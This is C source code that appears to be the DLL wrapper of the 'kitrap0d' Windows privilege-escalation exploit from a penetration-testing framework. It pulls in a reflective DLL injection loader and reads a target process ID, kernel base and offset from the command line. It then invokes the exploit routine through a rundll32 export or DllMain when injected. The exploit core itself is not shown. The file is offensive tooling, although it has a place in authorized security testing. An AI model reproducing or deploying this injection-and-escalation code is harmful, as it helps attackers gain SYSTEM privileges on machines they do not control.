//
// Note: To use the produced x86 dll on NT4 we use a post build event "editbin.exe /OSVERSION:4.0 /SUBSYSTEM:WINDOWS,4.0 elevator.dll" 
//       in order to change the MajorOperatingSystemVersion and MajorSubsystemVersion to 4 instead of 5 as Visual C++ 2008
//       can't build PE images for NT4 (only 2000 and up). The modified dll will then work on NT4 and up. This does
//       not apply to the produced x64 dll.
//

#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"

#include <stdlib.h>
#include "kitrap0d.h"
#include "../common/common.h"

/*!
 * @brief Grab a \c DWORD value out of the command line.
 * @example elevator_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
 * @param cpCommandLine Command line string
 * @param cpCommand The command to look for to get the associated \c int from.
 * @returns The \c int value associated with the \c cpCommand.
 */
DWORD elevator_command_dword(char * cpCommandLine, char * cpCommand)
{
	char * cpString = NULL;
	DWORD dwResult = 0;

	do
	{
		if (!cpCommandLine || !cpCommand) {
			break;
		}

		cpString = strstr(cpCommandLine, cpCommand);
		if (!cpString) {
			break;
		}

		cpString += strlen(cpCommand);

		dwResult = strtoul(cpString, NULL, 0);

	} while (0);

	return dwResult;
}

/*!
 * @brief Grab an \c int value out of the command line.
 * @example elevator_command_dword( "/FOO:12345 /BAR:54321", "/FOO:" ) == 12345
 * @param cpCommandLine Command line string
 * @param cpCommand The command to look for to get the associated \c int from.
 * @returns The \c int value associated with the \c cpCommand.
 */
int elevator_command_int(char * cpCommandLine, char * cpCommand)
{
	char * cpString = NULL;
	int iResult = 0;

	do
	{
		if (!cpCommandLine || !cpCommand) {
			break;
		}

		cpString = strstr(cpCommandLine, cpCommand);
		if (!cpString) {
			break;
		}

		cpString += strlen(cpCommand);

		iResult = atoi(cpString);

	} while (0);

	return iResult;
}

/*!
 * @brief The real entrypoint for this app.
 * @param cpCommandLine Pointer to the command line.
 */
VOID elevator_main(char * cpCommandLine)
{
	DWORD dwResult = ERROR_SUCCESS;

	do
	{
		dprintf("[KITRAP0D] elevator_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine);

		if (!cpCommandLine) {
			break;
		}

		if (strlen(cpCommandLine) == 0) {
			break;
		}

		dprintf("[KITRAP0D] elevator_main. lpCmdLine=%s", cpCommandLine);

		DWORD dwProcessId = 0;
		DWORD dwKernelBase = 0;
		DWORD dwOffset = 0;

		dwProcessId = elevator_command_dword(cpCommandLine, "/VDM_TARGET_PID:");
		dwKernelBase = elevator_command_dword(cpCommandLine, "/VDM_TARGET_KRN:");
		dwOffset = elevator_command_dword(cpCommandLine, "/VDM_TARGET_OFF:");

		if (!dwProcessId || !dwKernelBase) {
			break;
		}

		dprintf("[KITRAP0D] Invoking exploit");
		elevator_kitrap0d(dwProcessId, dwKernelBase, dwOffset);

		// ...we should never return here...
		dprintf("[KITRAP0D] This shouldn't happen");
	} while (0);
}

/*!
 * @brief rundll32.exe entry point.
 * @todo Remove this?
 */
VOID DLLEXPORT CALLBACK a(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int nCmdShow)
{
	elevator_main(lpszCmdLine);

	ExitProcess(ERROR_SUCCESS);
}

/*!
 * @brief DLL entry point.
 * @remark If we have been injected via RDI, lpReserved will be our command line.
 */
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
	BOOL bReturnValue = TRUE;

	switch (dwReason)
	{
	case DLL_PROCESS_ATTACH:
		hAppInstance = hInstance;
		if (lpReserved != NULL) {
			elevator_main((char *)lpReserved);
		}
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return bReturnValue;
}
